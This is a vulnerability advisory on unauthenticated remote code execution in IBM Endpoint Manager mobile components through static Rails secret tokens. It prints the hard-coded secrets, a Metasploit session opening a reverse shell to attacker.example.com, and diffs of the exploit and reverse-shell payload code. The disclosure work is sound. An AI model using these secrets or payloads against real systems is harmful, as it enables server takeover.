IBM Endpoint Manager For Mobile Devices Code Execution

`Advisory: Unauthenticated Remote Code Execution in IBM Endpoint Manager  
Mobile Device Management Components  
  
During a penetration test, RedTeam Pentesting discovered that several  
IBM Endpoint Manager Components are based on Ruby on Rails and use  
static secret_token values. With these values, attackers can create  
valid session cookies containing marshalled objects of their choosing.  
This can be leveraged to execute arbitrary code when the Ruby on Rails  
application unmarshals the cookie.  
  
  
Details  
=======  
  
Product: IBM Endpoint Manager for Mobile Devices  
Affected Components: Enrollment and Apple iOS Management Extender,  
Mobile Device Management Self-Service Portal,  
Mobile Device Management Admin Portal and  
Trusted Service Provider  
Affected Versions: All versions prior to 9.0.60100  
Fixed Versions: 9.0.60100  
Vulnerability Type: Unauthenticated Remote Code Execution  
Security Risk: high  
Vendor URL: http://www-03.ibm.com/software/products/en/ibmendpmanaformobidevi  
http://www-01.ibm.com/support/docview.wss?uid=swg21691701  
Vendor Status: fixed version released  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-012  
Advisory Status: published  
CVE: CVE-2014-6140  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6140  
  
  
Introduction  
============  
  
"IBM Endpoint Manager for Mobile Devices provides a completely integrated  
approach for managing, securing, and reporting on laptops, desktops,  
servers, smartphones, tablets, and even specialty devices such as  
point-of-sale terminals. This provides customers with unprecedented  
real-time visibility and control over all devices employees use in their  
daily job functions; reducing costs, increasing productivity, and  
improving compliance."  
  
(from the vendor's homepage)  
  
  
More Details  
============  
  
IBM Endpoint Manager for Mobile Devices is part of the IBM Endpoint  
Manager (IEM, formerly Tivoli Endpoint Manager, or TEM) product family.  
Several components related to mobile device management can be installed  
either on the main TEM Server, or on so-called TEM Relays, and are then  
accessible via HTTPS at port 443 of the respective system, such as:  
  
Path Component  
/ Enrollment and Apple iOS Management Extender  
/ssp/ Mobile Device Management Self-Service Portal  
/ap/ Mobile Device Management Admin Portal  
/tsp/ Trusted Service Provider  
  
When issuing HTTP requests to any of these paths, the respective server  
responds in a manner similar to the following example:  
  
$ curl -skI https://tem.example.com/  
HTTP/1.1 200 OK  
Content-Type: text/html;charset=UTF-8  
X-UA-Compatible: IE=Edge,chrome=1  
[...]  
Set-Cookie: _mdm_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjU  
wODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkk  
iMTQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ  
9BjsARg%3D%3D--e48265ee63dd90381caa92248d27162f67b1ea06;  
path=/; secure; HttpOnly  
[...]  
X-Rack-Cache: miss  
Content-Length: 0  
Server: Jetty(8.1.14.v20131031)  
  
While the Server header indicates that the web applications are hosted  
on a Jetty Java application server, the X-Rack-Cache header and the  
cookie format are typically used by Ruby on Rails applications. The  
cookie is in fact a Base64 encoded marshalled Ruby object protected by  
an HMAC (the hexadecimal value following the two dashes). The cookie  
value can be unmarshalled as follows:  
  
$ ruby -e 'puts Marshal.load("BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZj'\  
'YTIxNjUwODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiM'\  
'TQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg==".'\  
'unpack("m0")[0])'  
{"session_id"=>"8cf6ca2165088581b161cafa0a604837",  
"_csrf_token"=>"46KewnSgCW1xjZ7XR3HK265eAiOmkl1o/daRN5x3v94="}  
  
To create a cookie with a valid HMAC requires knowledge of a secret  
stored on the application server. In Ruby on Rails version 3  
applications, this value is normally stored in the variable secret_token  
that is set in the file config/initializers/secret_token.rb. It is good  
practice to generate these values randomly when an application is  
installed. The IBM Endpoint Manager components, however, use static  
values that are the same across all installations. These values can be  
determined by manually inspecting the web application archives (e.g.  
ap.war, ios.war, ssp.war, tsp.war) installed into the directory  
  
C:\Program Files\BigFix Enterprise\Management Extender\MDM Provider\webapps  
  
of the respective server. The Enrollment and Apple iOS Management  
Extender, for example, is contained in the file ios.war. The archive  
contains a Ruby on Rails web application that was compiled to Java class  
files. The secret token needed for calculating the HMAC is contained in  
the file WEB-INF/config/initializers/secret_token.class:  
  
$ strings WEB-INF/config/initializers/secret_token.class \  
| egrep -o '[0-9a-f]{128}'  
65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e0  
2cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365  
  
It can be verified that this secret is used for generating the HMAC that  
protects the cookie value by using the OpenSSL command line utility to  
calculate an HMAC of the aforementioned Base64 encoded data:  
  
$ echo -n 'BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjUwODg1ODFiMT'\  
'YxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMTQ2S2V3blNnQ1cxeG'\  
'paN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg=='\  
| openssl dgst -sha1 -hmac '65c0eb133b2c8481b08b41cfc0969cbdd540f3c1'\  
'ce0fd66be2d24ffc97d09730d11d53e02cac31753721610ad7dc00f6f9942e3825fd'\  
'4895a4e2805712fa6365'  
(stdin)= e48265ee63dd90381caa92248d27162f67b1ea06  
  
The resulting value is identical to the HMAC originally appended to the  
cookie. Once the secret is known, arbitrary cookie values can be crafted  
and sent to the respective application for further processing. As  
demonstrated by Metasploit's rails_secret_deserialization exploit  
module[0], this can be leveraged into executing arbitrary code on the  
application server (see also Proof of Concept below).  
  
For reference, the following cookie names and secret_token values were  
identified for the different web applications:  
  
Enrollment and Apple iOS Management Extender  
Path: /  
Cookie: _mdm_session  
Secret: 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730  
d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365  
  
Mobile Device Management Self-Service Portal  
Path: /ssp/  
Cookie: _self-service-portal_session  
Secret: c5f5da7e3ae1baa9a10f4429b5e7c8aec217b3b53851272bd8f533d47acade48  
0863a810630039c7987b04ff70c125512e74a998f8a028080c05265a97c747a3  
  
Mobile Device Management Admin Portal  
Path: /ap/  
Cookie: _admin-portal_session  
Secret: 2556dea5fbbd90c4a79202a43bdf9bd4c391c67159d021ea8bc478f29801d024  
78acb273c2f425cf487c27669af5dbc3fdaf7f870e23a0a544dee04ab2169220  
  
Trusted Service Provider  
Path: /tsp/  
Cookie: _trusted-services-provider_session  
Secret: b52a3979462299e3a11f6c7c893a980f312fa8e5944fb8fdc74a400c55677aed  
ba00ce6df9e2d9ef1525c6ab68a2b6dca9e9ba557c0c6d579a1325ec6338178b  
  
Exploiting the Trusted Service Provider application was not tested, due  
to the lack of a properly configured testing environment. However, it is  
a Ruby on Rails web application deployed to the Jetty application server  
just like the other applications so that it is likely also vulnerable.  
This was confirmed by the vendor.  
  
  
Proof of Concept  
================  
  
The following listing shows a sample Metasploit session demonstrating  
the execution of arbitrary code through the Enrollment and Apple iOS  
Management Extender application:  
  
------------------------------------------------------------------------  
msf > use exploit/multi/http/rails_secret_deserialization  
msf exploit(rails_secret_deserialization) > set PAYLOAD ruby/shell_reverse_tcp  
PAYLOAD => ruby/shell_reverse_tcp  
msf exploit(rails_secret_deserialization) > set LHOST attacker.example.com  
LHOST => attacker.example.com  
msf exploit(rails_secret_deserialization) > set RHOST tem.example.com  
RHOST => tem.example.com  
msf exploit(rails_secret_deserialization) > set RPORT 443  
RPORT => 443  
msf exploit(rails_secret_deserialization) > set SSL true  
SSL => true  
msf exploit(rails_secret_deserialization) > set SSLVERSION TLS1  
SSLVERSION => TLS1  
msf exploit(rails_secret_deserialization) > set SECRET 65c0eb133b2c8481  
b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e02cac31753721610a  
d7dc00f6f9942e3825fd4895a4e2805712fa6365  
SECRET => 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d097  
30d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365  
msf exploit(rails_secret_deserialization) > set PrependFork false  
PrependFork => false  
msf exploit(rails_secret_deserialization) > exploit  
  
[*] Started reverse handler on attacker.example.com:4444  
[*] Checking for cookie  
[*] Adjusting cookie name to _mdm_session  
[+] SECRET matches! Sending exploit payload  
[*] Sending cookie _mdm_session  
[*] Command shell session 1 opened (attacker.example.com:4444  
-> tem.example.com:50169) at 2014-08-15 13:37:31 +0200  
cmd.exe /c ver  
whoami  
  
  
Microsoft Windows [Version 6.1.7601]  
nt authority\system  
------------------------------------------------------------------------  
  
  
The following changes needed to be applied to the Metasploit Framework  
to be able to exploit the issue. Most of them were required to address  
peculiarities of the Java/JRuby environment, such as the lack of support  
for Kernel.fork():  
  
------------------------------------------------------------------------  
diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb  
index 7803dd5..e72d8c2 100644  
--- a/modules/exploits/multi/http/rails_secret_deserialization.rb  
+++ b/modules/exploits/multi/http/rails_secret_deserialization.rb  
@@ -141,20 +141,25 @@ class Metasploit3 < Msf::Exploit::Remote  
  
  
#  
- # This stub ensures that the payload runs outside of the Rails process  
- # Otherwise, the session can be killed on timeout  
+ # This stub tries to ensure that the payload runs outside of the Rails  
+ # process Otherwise, the session can be killed on timeout  
#  
def detached_payload_stub(code)  
%Q^  
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first  
- if RUBY_PLATFORM =~ /mswin|mingw|win32/  
- inp = IO.popen("ruby", "wb") rescue nil  
- if inp  
- inp.write(code)  
- inp.close  
- end  
+ if RUBY_PLATFORM =~ /mswin|mingw|win32/ and inp = (IO.popen("ruby", "wb") rescue nil)  
+ inp.write(code)  
+ inp.close  
else  
- Kernel.fork do  
+ def _fork  
+ begin  
+ Kernel.fork  
+ rescue NotImplementedError  
+ -1  
+ end  
+ end  
+ pid = _fork  
+ if 0 == pid or -1 == pid  
eval(code)  
end  
end  
@@ -234,7 +239,7 @@ class Metasploit3 < Msf::Exploit::Remote  
'method' => datastore['HTTP_METHOD'],  
}, 25)  
if res && !res.get_cookies.empty?  
- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)  
+ match = res.get_cookies.match(/([_A-Za-z0-9-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)  
end  
  
if match  
diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb  
index f17c669..0100929 100644  
--- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb  
+++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb  
@@ -37,8 +37,31 @@ module Metasploit3  
def ruby_string  
lhost = datastore['LHOST']  
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)  
- "require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" +  
- "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +  
- "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"  
+ ruby = <<-EOF  
+require 'socket'  
+c=TCPSocket.new("#{lhost}", #{datastore['LPORT'].to_i})  
+def reopen(old, new)  
+ begin  
+ old.reopen(new)  
+ rescue IOError => e  
+ new  
+ end  
+end  
+  
+$stdin = reopen($stdin, c)  
+$stdout = reopen($stdout, c)  
+$stderr = reopen($stderr, c)  
+$stdin.each_line{ |l| l=l.strip  
+  
+ next if l.length==0  
+  
+ (IO.popen(l,"rb") { |fd|  
+ fd.each_line { |o|  
+ c.puts(o.strip)  
+ }  
+ }) rescue nil  
+}  
+ EOF  
+ ruby  
end  
end  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
It might be possible to binary patch the Java class files to use a  
different secret_token value and redeploy the application. This is  
untested, however.  
  
  
Fix  
===  
  
Install version 9.0.60100 of the affected software components.  
  
  
Security Risk  
=============  
  
The vulnerability allows unauthenticated remote attackers to execute  
arbitrary code with administrative privileges on the affected systems.  
It is highly likely that a successful attack on the application server  
can also be leveraged into a full compromise of all devices managed  
through the product. This constitutes a high risk.  
  
  
Timeline  
========  
  
2014-07-29 Vulnerability identified during a penetration test  
2014-08-06 Customer approves disclosure to vendor  
2014-08-15 Vendor notified, vendor acknowledges receiving the advisory  
2014-09-03 Update requested from vendor  
2014-09-05 Vendor promises to respond with more details  
2014-09-26 Update requested from vendor  
2014-09-30 Vendor promises to respond with more details  
2014-10-16 Update requested from vendor  
2014-10-16 Vendor responds with CVE-ID, plans release for mid-November  
2014-11-06 More definite release schedule requested  
2014-11-12 Vendor plans release for last week of November  
2014-11-21 Additional details requested from vendor  
2014-11-22 Vendor responds with details, postpones release to  
mid-December due to issues discovered during quality control  
2014-12-01 Vendor announces imminent release  
2014-12-01 Vendor releases security bulletin and software upgrade  
2014-12-02 Customer approves public disclosure  
2014-12-02 Advisory released  
  
  
References  
==========  
  
[0] https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests, short pentests,  
performed by a team of specialised IT-security experts. Hereby, security  
weaknesses in company networks or products are uncovered and can be  
fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at  
https://www.redteam-pentesting.de.  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen  
`